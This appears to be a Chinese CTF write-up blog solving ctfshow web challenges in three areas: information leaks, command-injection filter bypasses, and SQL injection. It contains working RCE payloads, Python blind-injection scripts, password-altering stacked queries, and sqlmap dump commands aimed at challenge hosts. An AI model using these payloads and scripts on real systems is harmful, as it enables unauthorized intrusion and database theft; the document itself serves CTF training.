天天看點

ctfshow web入門 ticks資訊搜集爆破指令執行(RCE)web42sql

新部落格link

: https://yq1ng.github.io/z_post/CTFSHOW-WEB%E5%85%A5%E9%97%A8-Ttick%E6%80%BB%E7%BB%93/#more

目錄

  • 資訊搜集
    • web5
    • web6
    • web14
    • web16
    • web19
    • web20
  • 爆破
    • web21
  • 指令執行(RCE)
    • web31
    • web32-36
    • web37/39
    • web38
    • web40
    • web41
  • web42
    • web52
    • web54
    • web55
    • web56
  • sql
    • web174
    • web175
    • web176-179
    • web180
    • web181 | 182
    • web183
    • web184
    • web185 | 186
    • web187
    • web188
    • web189
    • web190 - 194
    • web195
    • web196
    • web197 - 200
    • web201
    • web203
    • web204
    • web205
    • web206
    • web207
    • web208
    • web209
    • web210
    • web211
    • web212
    • web213
    • web214
    • web215
    • web216
    • web217
    • web218
    • web219
    • web220
    • web221
    • web222 | 223
    • web224
    • web226
    • web226
    • web227
    • web228 | 229 |230
    • web231 | 232
    • web233
    • web234
    • web235
    • web236
    • web237
    • web238
    • web239
    • web240
    • web241
    • web242
    • web243
    • web244
    • web245
    • web246
    • web247
    • web248
    • web249
    • web250
    • web251
    • web252
    • web253

資訊搜集

web5

php檔案洩露,通路

index.phps

web6

常見檔案備份參見此部落格

web14

洩露重要(editor)的資訊 直接在url後面添加/editor

web16

payload:

/tz.php

--> 雅黑PHP探針

PHP探針是用來探測空間、伺服器運作狀況和PHP資訊用的,探針可以實時檢視伺服器硬碟資源、記憶體占用、網卡 流量、系統負載、伺服器時間等資訊。 url字尾名添加/tz.php 版本是雅黑PHP探針,然後檢視phpinfo搜尋flag

web19

前台輸入密碼浏覽器轉碼了,抓包重放

web20

mdb檔案是早期asp+access構架的資料庫檔案 直接檢視url路徑添加/db/db.mdb 下載下傳檔案通過txt打開或者通過EasyAccess.exe打開搜尋flag

爆破

web21

bp爆破的custom iterator(自定義疊代器)應用

需要進行base64編碼:payload processing 進行編碼設定

取消Palyload Encoding編碼 因為在進行base64加密的時候在最後可能存在 == 這樣就會影響base64 加密的結果

指令執行(RCE)

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

過濾空格:

%09

${IFS}

$IFS$9

<>

<

自己的payload:?c=echo(`tail%09f*`);

搜集的:

show_source(next(array_reverse(scandir(pos(localeconv())))));

c=$a=show_source($_GET[1])?>&1=flag.php

c=eval($_GET[1])?>&1=system('cat flag.php');

c=?><?=`$_GET[1]`;&1=cat flag.php//檢視源代碼
c=?><?=passthru($_GET[1]);&1=cat flag.php//檢視源代碼
           

web32-36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37/39

if(!preg_match("/flag/i", $c)){ 
    include($c); 
    echo $flag; 
}
if(!preg_match("/flag/i", $c)){ 
    include($c.".php"); 
} 
//?c=data://text/plain,<?php system('cat f*');?>
//39 output:$flag="flag{8262a004-69e7-460b-b412-05d4178c08f8}";.php
//39 data://text/plain, 這樣就相當于執行了php語句 .php 因為前面的php語句已經閉合了,是以後面的.php會被當成html頁面直接顯示在頁面上,起不到什麼 作用
           

web38

if(!preg_match("/flag|php|file/i", $c)){
    include($c);
    echo $flag;
}
//過濾了php和file
//?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
           

web40

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}
           

這題跟GXYCTF2019的禁止套娃很像,參考一下

在看一個利用session的題解

?c=session_start();system(session_id());

在session處添加一條記錄:

PHPSESSID:ls

,可以列出檔案,再改成

c=session_start();highlight_file(session_id());

,flag讀不出來。。涼

引自羽大佬部落格

經過測試發現,受php版本影響 5.5 -7.1.9均可以執行,因為session_id規定為0-9,a-z,A-Z,-中的字元。在5.5以下及7.1以上均無法寫入除此之外的内容。但是符合要求的字元還是可以的

web41

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");}
           

exp已經儲存了,哈哈

web42

system($c." >/dev/null 2>&1");

詳解:https://blog.csdn.net/ithomer/article/details/9288353

/dev/null

:代表空裝置檔案

>

:代表重定向到哪裡,例如:echo “123” > /home/123.txt

1

:表示stdout标準輸出,系統預設值是1,是以">/dev/null"等同于"1>/dev/null"

2

:表示stderr标準錯誤

&

:表示等同于的意思,2>&1,表示2的輸出重定向等同于1\

1 > /dev/null 2>&1

語句含義:

1 > /dev/null

: 首先表示标準輸出重定向到空裝置檔案,也就是不輸出任何資訊到終端,說白了就是不顯示任何資訊。

2>&1

:接着,标準錯誤輸出重定向(等同于)标準輸出,因為之前标準輸出已經重定向到了空裝置檔案,是以标準錯誤輸出也重定向到空裝置檔案。

payload:

?c=cat flag*%0a

%0a

進行換行

web52

往上payload:

?c=nl${IFS}fla%27%27g.php%0a

通殺

web54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
    system($c);
           

payload:

?c=/bin/?at${IFS}f???????

cat什麼的被過濾了就要從bin下再把它引出來

web55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
           

Lazzaro師傅真狠啊,字母全涼了,不過羽師傅提供了一個騷思路,真是活久見。。

  1. payload:

    ?c=/???/????64 ????.???

    -->

    /bin/base64 flag.php

  2. 通過該指令壓縮flag.php 然後進行下載下傳

    payload:

    ?c=/???/???/????2 ????.???

    也就是

    /usr/bin/bzip2 flag.php

    然後通路

    /flag.php.bz2

    進行下載下傳獲得

    flag.php

web56

和上題類似,過濾内容變了,這次數字也不能用了,附上P牛部落格和Firebasky師傅部落格

linux中

.

相當于

source

可以執行sh指令,且無需執行權限,具體介紹點此

  1. 構造上傳頁面
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST資料包POC</title>
    </head>
    <body>
    <form action="http://45e8c3c6-fd54-4110-a17f-3dff9f3e68a2.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--連結是目前打開的題目連結-->
        <label for="file">檔案名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="送出">
    </form>
    </body>
    </html>
               
  2. 抓包,構造poc指令執行

    發送一個上傳檔案的POST包,此時PHP會将我們上傳的檔案儲存在臨時檔案夾下,預設的檔案名是/tmp/phpXXXXXX,檔案名最後6個字元是随機的大小寫字母,看一下ASCII表,可以發現大寫字母在

    @

    [

    之間,而Linux的glob通配符支援利用

    [0-9]

    來表示一個範圍,那麼就可以用

    [@-[]

    來表示大寫字母
ctfshow web入門 ticks資訊搜集爆破指令執行(RCE)web42sql

然後傳檔案,并添加sh指令,有時候并不會執行成功,因為最後一位不一定一直是大寫字母,多試幾次

/?c=.%20/???/????????[@-[]

#!/bin/sh
ls
           
ctfshow web入門 ticks資訊搜集爆破指令執行(RCE)web42sql

接着讀取flag即可

sql

web174

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

媽的(無能狂怒), 是盲注,道行太淺一直沒想到,腳本:

import requests

flag = ''
for i in range(1, 45):
    for j in r'0123456789abcdefghijklmnopqrstuvwxyz-{}':
        url = "http://eaf7f762-c08b-4374-b8d1-396518d73c69.chall.ctf.show/api/v4.php?id="
        payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+'''% (i,j)
        r = requests.get(url + payload)
        #print(url+payload)
        #print(r.text)
        if 'admin' in r.text:
            flag += j
            print(flag)
            break
           

web175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){

過濾了所有字元,時間盲注

# encoding: utf-8
import requests
import time

url = '''http://14e03d71-0f5b-4a4d-b819-884aeb24fbe8.chall.ctf.show/api/v5.php?id=1' '''
flag = ''

for i in range(1,50):
    for j in r'{}0123456789abcdefghijklmnopqrstuvwxyz-':
        #開始計時
        before_time = time.time()
        payload = 'and if(substr((select password from ctfshow_user5 where username="flag"),%d,1)="%c",sleep(3),0)--+'% (i,j)
        r = requests.get(url+ payload)
        #傳回時間
        after_time = time.time()
        offset = after_time - before_time
        if offset > 2.8:
            flag += j
            print(flag)
            break
           

web176-179

sql:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

waf未知

payload:

URL/api/?id='or(1)%23

通殺

web180

payload:

URL/api/?id='or(mid(username,1,1)='f')and'1'='1

web181 | 182

sql語句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

waf:

preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str)

通殺payload:

URL/api/?id='or(mid(username,1,1)='f')and'1'='1

web183

sql:

$sql = "select count(pass) from ".$_POST['tableName'].";";

waf:

preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str)

盲注,一開始用的

mid()

,資料幹擾太多,用了

right()

,附上*一樣的腳本,需要手動停止,沒懶得判斷嘿嘿

# encoding: utf-8
import requests

url = '''http://898034b5-dc30-4856-9230-a65688cba1ac.chall.ctf.show/select-waf.php'''
data = {"tableName":""}
flag = '}'
s = requests.session()

for x in range(2,50):
    for y in r'abcdefghijklmnopqrstuvwxyz{-}0123456789':
        data["tableName"]="(ctfshow_user)where(right(pass,%d))like'%s'"%(x,y+flag)
        #print(data)
        s = requests.post(url,data = data)
        #print(s.text)  
        if '$user_count = 1;' in s.text:
            flag = y + flag
            print(flag)
            break
           

web184

sql:

$sql = "select count(*) from ".$_POST['tableName'].";";

waf:

preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str)

emmm,費老牛鼻子勁,太菜了,嘤嘤嘤,第一次用join寫腳本,用群主的字典效率高點

# encoding: utf-8
# py2
import requests

url = '''http://e5e91710-3aa2-4752-a2a0-68a6c18fee26.chall.ctf.show/select-waf.php'''
data = {"tableName":""}
flag = 'flag{'

for x in range(6,50):
    for y in r'abcdefghijklmnopqrstuvwxyz0123456789{-}':
        #字典:flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}   #群主親傳效率高
        temp = "0x"+(flag+y).encode('hex')
        data["tableName"]='ctfshow_user x right join ctfshow_user y on left(y.pass,%d) like %s'%(x,temp)
        #print(data)
        s = requests.post(url,data = data)
        #print(s.text)  
        if '$user_count = 22;' not in s.text:
            flag =  flag + y
            print(flag)
            break
           

web185 | 186

185的sql和waf忘了寫,不過都是一個腳本,沒差

186sql:

$sql = "select count(*) from ".$_POST['tableName'].";";

186waf:

preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str)

額,這麼慢才出。。。耽擱挺長時間,還是自己太菜了,欸,if的43先自己判斷下,系列題目,flag格式固定

[外鍊圖檔轉存失敗,源站可能有防盜鍊機制,建議将圖檔儲存下來直接上傳(img-SkRcR8NO-1607606379995)(https://raw.githubusercontent.com/yq1ng/blog/master/CTFShow/image.e8x3axfwwan.png)]

[外鍊圖檔轉存失敗,源站可能有防盜鍊機制,建議将圖檔儲存下來直接上傳(img-aqJ08Vtc-1607606379998)(https://raw.githubusercontent.com/yq1ng/blog/master/CTFShow/image.oys89ez7sjb.png)]

# encoding: utf-8
# @Author:  yq1ng
# @Date:    2020-11-09 18:30

import requests

url = '''http://7a27816c-2c96-4544-b3ba-f0867f97f250.chall.ctf.show//select-waf.php'''
data = {"tableName":""}
flag = 'flag{'
payload = ''

def Construct_numbers(num):
    result = '!(!pi())'
    if num != 1:
        for i in range(num-1):
            result = result+'+'+'!(!pi())'
    return result

for x in range(6,43):
    for y in r'abcdefghijklmnopqrstuvwxyz0123456789{-}':
        #字典:flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}   #群主親傳效率高
        data["tableName"] = 'ctfshow_user x right join ctfshow_user y on (hex(substr(y.pass,%s,%s)))like(hex(%s))'%(Construct_numbers(x),Construct_numbers(1),Construct_numbers(ord(y)))
        #print(data)
        s = requests.post(url,data = data)
        #print(s.text)
        if '$user_count = 43;' in s.text:
            flag += y
            print(flag)
            break
           

附上群主的腳本,更快,更美觀

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-07 05:00:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-07 16:28:53
# @email: [email protected]
# @link: https://ctfer.com

import requests

url = 'http://7a27816c-2c96-4544-b3ba-f0867f97f250.chall.ctf.show//select-waf.php'

payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass,{},{}))regexp(hex({char}))'

strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'

prefix= 'flag{'

def create_num(num):
	ret = 'hex(ceil(cot(-(ascii(char_length(now()))))))'
	if num != 1:
		for i in range(num-1):
			ret = ret+'+'+'hex(ceil(cot(-(ascii(char_length(now()))))))'
	return ret;


def getFlag():
	#proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
	flag=''
	for i in range(42):
		print('[+] 開始盲注第{}位'.format(i+1))
		for n in strings:
			data = {
				'tableName':payload.format(create_num(i+1),create_num(1),char=create_num(ord(n)))
			}
			ret = requests.post(url,data)
			#ret = requests.post(url,data,proxies = proxies,verify=False);
			if ret.text.find('43')>0:
				if i < 5:
					if n in prefix:
						flag=flag+n
						print('[+] 盲注第{}位'.format(i+1)+"字元{}".format(n)+"成功")
				else:
					flag=flag+n
					print(data)
					#print(ret.text)
					print('[+] 盲注第{}位'.format(i+1)+"字元{}".format(n)+"成功")
				break
			#else:
				#print('[+] 盲注第{}位'.format(i+1)+"字元{}".format(chr(n))+"失敗 數字為{}".format(n))
				#print('[+] payload為{}'.format(payload.format(create_num(i+1),create_num(1),char=create_num(ord(n)))))
	return flag

print(getFlag())
           

web187

sql:

$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

//waf:
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //隻有admin可以獲得flag
    if($username!='admin'){
        $ret['msg']='使用者名不存在';
        die(json_encode($ret));
    }
           

md5($_POST['password'],true)

很經典的一個題目,詳細了解可移步我的這篇部落格,直接用

ffifdyop

作為密碼登陸即可

web188

sql:

$sql = "select pass from ctfshow_user where username = {$username}";

//waf
 //使用者名檢測
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='使用者名非法';
    die(json_encode($ret));
  }

  //密碼檢測
  if(!is_numeric($password)){
    $ret['msg']='密碼隻能為數字';
    die(json_encode($ret));
  }

  //密碼判斷
  if($row['pass']==intval($password)){
      $ret['msg']='登陸成功';
      array_push($ret['data'], array('flag'=>$flag));
    }
           

先上payload:

username=1<1&password=0

阿狸師傅tql,邏輯運算符從左到右,是以username隻有0|1,也就是相當于

where username!=1

,pass為0是因為密碼比較為弱類型,字元串被轉為0

@群主思路:into file寫馬,但是需要知道絕對路徑,(⊙﹏⊙)等我會了來填坑

@給大佬遞茶:username=`username` 或者 `pass`&pass=0即可登陸

web189

sql:

$sql = "select pass from ctfshow_user where username = {$username}";

\

//waf
//使用者名檢測
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='使用者名非法';
die(json_encode($ret));
}

//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼隻能為數字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
    $ret['msg']='登陸成功';
}
           

說是flag在api/index.php檔案中,R1chm0nd大佬hint:

load_file

,感謝R1師傅和群内大師傅們的思路,在此給出垃圾腳本,線程崩了改i=251

本次也學到很多,MySQL裡面竟然還有定位函數

MySQL定位函數(暫時隻收集到這幾個):
  • INSTR(str,substr)

    --> 傳回字元串 str 中子字元串的第一個出現位置,否則為0
  • FIND_IN_SET(str,strlist)

    --> 傳回字元串 str 中子字元串的第一個出現位置,否則為0
  • LOCATE(substr,str,pos)

    --> 傳回字元串 str中子字元串substr的第一個出現位置, 起始位置在pos。如若substr 不在str中,則傳回值為0
  • POSITION(substr IN str)

    --> 傳回子串 substr 在字元串 str 中第一次出現的位置。如果子串 substr 在 str 中不存在,傳回值為 0
# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-27 19:00
# @challenges: web189

import requests

url = "http://460ff67c-68fc-486d-bbaf-cab2c0e2dec3.chall.ctf.show/api/index.php"
data = {"password":"111", "username":""}
i = 0
flag = ""

while True:
    i += 1
    payload = 'concat("user",if((INSTR(load_file("/var/www/html/api/index.php"),"flag{")=%d),1,0))'% i
    data["username"] = payload
    s = requests.post(url, data = data)
    print(data)
    if "529f" in s.text:
        break

while True:
    for x in 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        payload = 'concat("user",if((mid(load_file("/var/www/html/api/index.php"),%d,1)="%c"),1,0))'% (i,x)
        data["username"] = payload
        s = requests.post(url, data = data)
        print(data)
        if "529f" in s.text:
            flag += x
            break
    if "}" in flag:
        break
    i += 1
    print(flag)
print("Give you flag :"+flag)
           

web190 - 194

sql:

$sql = "select pass from ctfshow_user where username = '{$username}'";

//waf
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼隻能為數字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
    $ret['msg']='登陸成功';
}

//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
    $ret['msg']='使用者名非法';
    die(json_encode($ret));
}
           

垃圾腳本,table_name用的以前寫的腳本,非常慢,可以用column_name的方法,直接猜全部的,先判斷數量再逐個判斷name隻是為了好看。。。大佬笑笑就好,自行發揮,payload不限,我懶得改了。。。優化了,在下面

# encoding: utf-8
# @Author:  yq1ng
# @Date:    2020-11-17 17:30

import requests

url = 'http://af606d85-dee0-462e-8ef0-6718c277c25d.chall.ctf.show/api/'
data = {"username":"","password":"1"}
tb_num = 0
tb_length = 0
tb_name = ''
tb_list = []
all_column_len=0
column_name = ''
flag = ''

#table_num
print("\nJudging the number of tables in the database...")
for x in range(1,100):
    payload = "'or (select count(*) from information_schema.tables where table_schema=database())=%d#"% x
    data["username"] = payload
    #print(data)
    r = requests.post(url,data = data)
    print("\r[+]There are %d tables in this database"% x,end = '')
    if r"\u5bc6\u7801\u9519\u8bef" in r.text:
        tb_num = x
        break
#table_name
print("\nGetting the table name...")
for x in range(0,tb_num):
    tb_name = ''
    #table_length
    for y in range(1,21):
        payload = "'or (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d#"% (x,y)
        data["username"] = payload
        r = requests.post(url,data = data)
        #print(url + payload)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            tb_length = y
            #print(tb_length)
            #table_name
            for z in range(1,tb_length+1):
                for i in r'0123456789abcdefghijklmnopqrstuvwxyz-_':
                    payload = "'or (select mid(table_name,%d,1) from information_schema.tables where table_schema=database() limit %d,1)='%c'#"% (z,x,i)
                    data["username"] = payload
                    r = requests.post(url,data = data)
                    #print(data)
                    if r"\u5bc6\u7801\u9519\u8bef" in r.text:
                        tb_name += i
                        break
            print("[+]" + tb_name)
            tb_list.append(tb_name)
            break
print("The table names in this database are:",tb_list)

#column_name
print("\nGuess the column names in the %s table......"% tb_list[0])
for x in range(1,100):
    payload = "' or (select length(group_concat(column_name)) from information_schema.columns where table_name='%s')=%d#"%(tb_list[0],x)
    data["username"] = payload
    #print(data)
    r = requests.post(url,data = data)
    if r"\u5bc6\u7801\u9519\u8bef" in r.text:
        all_column_len = x
        print("[+]All listed lengths are : %d"%(all_column_len-1))
        break
for x in range(1,all_column_len+1):
    for y in r'1234567890abcdefghijklmnopqrstuvwxyz-_,':
        payload = "'or (select mid(group_concat(column_name),%d,1) from information_schema.columns where table_name='%s')='%c'#"%(x,tb_list[0],y)
        data["username"] = payload
        r = requests.post(url,data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            column_name += y
            break
print("[+]The column name in the %s table is %s"%(tb_list[0],column_name))

#flag
print("\nGetting the flag......")
for x in range(1,100):
    for y in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        payload = "'or (select mid(group_concat(f1ag),%d,1) from %s)='%c'#"%(x,tb_list[0],y)
        data["username"] = payload
        #print(data)
        r = requests.post(url,data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += y
            print("\r[+]The flag is %s"% flag,end = '')
            break
    if '}' in flag:
        break
           

大佬笑笑就好,嘿嘿

# encoding: utf-8
# @Author:  yq1ng
# @Date:    2020-11-17 17:30

import requests

url = 'http://c7a0f777-8dd9-4fa8-a5fd-8f704d8078dc.chall.ctf.show/api/'
data = {"username":"","password":"1"}

tb_name = ''
all_column_len=0
column_name = ''
flag = ''

#table_name
print("\nGetting the table name...")
for x in range(1,100):# 不曉得有多少,盡量大喽,當然,while true也行
    for y in r'ctfshow_abdegijklmnopqruvxyz-,0123456789!':# 根據命名規則,表名是不會有!的,是以嘿嘿
        payload = "'or (select mid(group_concat(table_name),%d,1) from information_schema.tables where table_schema=database())='%c'#"% (x,y)
        data["username"] = payload
        #print(data)
        r = requests.post(url,data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            tb_name += y
            break
    print("\r[+]table name is %s"% tb_name, end = '')
    if y=="!":
        break
print("\n\nDone!The table names in this database are:",tb_name)

guess_tbName = input("\nPlease enter the name of the table you want to guess: ")
#column_name
print("\nGuess the column names in the %s table......"% guess_tbName)
for x in range(1,100):
    payload = "' or (select length(group_concat(column_name)) from information_schema.columns where table_name='%s')=%d#"%(guess_tbName,x)
    data["username"] = payload
    #print(data)
    r = requests.post(url,data = data)
    if r"\u5bc6\u7801\u9519\u8bef" in r.text:
        all_column_len = x
        print("[+]All listed lengths are : %d"%(all_column_len-1))
        break
for x in range(1,all_column_len+1):
    for y in r'1234567890abcdefghijklmnopqrstuvwxyz-_,':
        payload = "'or (select mid(group_concat(column_name),%d,1) from information_schema.columns where table_name='%s')='%c'#"%(x,guess_tbName,y)
        data["username"] = payload
        r = requests.post(url,data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            column_name += y
            break
    print("\r[+]The column name in the %s table is %s"%(guess_tbName,column_name), end = '')

guess_flag = input("\n\nOkay, we're getting a flag. Tell me the list:")
#flag
print("\nGetting the flag......")
for x in range(1,100):
    for y in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        payload = "'or (select mid(group_concat(%s),%d,1) from %s)='%c'#"%(guess_flag,x,guess_tbName,y)
        data["username"] = payload
        #print(data)
        r = requests.post(url,data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += y
            print("\r[+]The flag is %s"% flag,end = '')
            break
    if '}' in flag:
        break
           

web195

sql:

$sql = "select pass from ctfshow_user where username = {$username};";

//waf
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼隻能為數字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
    $ret['msg']='登陸成功';
}

//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='使用者名非法';
die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陸成功 flag is $flag";
}
           

這題記錄的有點迷了,師傅們僅作參考,搞不懂當時咋想的了,應該直接更密碼就可以了

開始用的

admin;update`ctfshow_user`set`pass`=1;

,一直不對,想了想,字元串需要引号啊,引号又被ban了,是以改使用者名為數字就好

payload:

1;update`ctfshow_user`set`username`=1;

password=1

,不能登入的話就把pass也更新為1

1;update`ctfshow_user`set`pass`=1;

web196

sql:

$sql = "select pass from ctfshow_user where username = {$username};";

waf:
  //TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='使用者名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='使用者名不能超過16個字元';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陸成功 flag is $flag";
  }
           

這題略坑,說是過濾

select

但是沒過濾,直接

1;select(1)

pass:

1

過了

使用者名沒有為1的,是以傳回的結果集是後面的,不用糾結

$row[0]==$password

web197 - 200

拼接sql:

$sql = "select pass from ctfshow_user where username = {$username};";

//waf
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='使用者名非法';
die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陸成功 flag is $flag";
}
           

通殺非預期(騷氣阿狸大佬的思路):username:

1;show tables;

,pass:

ctfshow_user

,能做到這應該也懂原理

web201

玩會sqlmap,189往後先擱置了哈哈哈哈,系列題目,直接dump了

py2 .\sqlmap.py -u http://3b960f3f-27df-4014-a22f-e075453fe298.chall.ctf.show/api/index.php?id=1 --referer=ctf.show --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain"

web203

–method=* 調整請求方式

py2 .\sqlmap.py -u "http://695acb0a-fd61-42e7-866b-1ffa3b15f5e0.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump

web204

hint:cookie

py2 .\sqlmap.py -u "http://d992d54c-ff57-4d7f-9667-b6f96906eadc.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="*your cookie*" --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump

web205

api調用需要鑒權

URL/js/select.js

發現

api/getToken.php

,sqlmap在此鑒權,本次庫、表、字都有所改變\

--batch

--> 靜默選項,sqlmap自動确認

--safe-url=SAFEURL

--> 設定在測試目标位址前通路的安全連結

--safe-freq=SAFE..

--> 設定兩次注入測試前通路安全連結的次數

爆庫:

py2 .\sqlmap.py -u "http://5d767ccc-4f5b-4671-906a-ae6e7e2e483b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://5d767ccc-4f5b-4671-906a-ae6e7e2e483b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbms=mysql --dbs --batch

爆表:

前面相同 --dbms=mysql -D ctfshow_web --tables --batch

爆字段:

--dbms=mysql -D ctfshow_web -T ctfshow_flax --dump --batch

web206

sql需要閉合

--prefix=PREFIX

--> 攻擊載荷的字首

--suffix=SUFFIX

--> 攻擊載荷的字尾

database:

py2 .\sqlmap.py -u "http://979152ce-ff3e-452d-80f1-e4723f247b66.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://979152ce-ff3e-452d-80f1-e4723f247b66.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbms=mysql --dbs --batch --prefix="')" --suffix="and ('y')=('y"

tables:

ctfshow_flaxc

and

ctfshow_user

--dbms=mysql -D ctfshow_web --tables --batch --prefix="')" --suffix="and ('y')=('y"

column:

--dbms=mysql -D ctfshow_web -T ctfshow_flaxc --dump --batch --prefix="')" --suffix="and ('y')=('y"

一開始沒爆出來,出了這個

+---------+---------+---------+
| id      | tes     | flagv   |
+---------+---------+---------+
| <blank> | <blank> | <blank> |
+---------+---------+---------+
           

就加了

-C flagv

參數,got it

突然想知道sqlmap怎麼爆破的,加上

--proxy=http://127.0.0.1:8080

,bp抓包看看

  1. 先請求了鑒權頁面

    GET /api/getToken.php

    ,然後

    PUT /api/index.php

    id=1

  2. 循環第一步,每次先鑒權再上payload
  3. 先用bool盲注試了一下,再用報錯,最後時間盲注

前面一堆看不懂的操作,從我看懂的開始(不懂的也谷歌不到)\

  • 進行xss?還用了目錄穿越讀檔案。。不懂

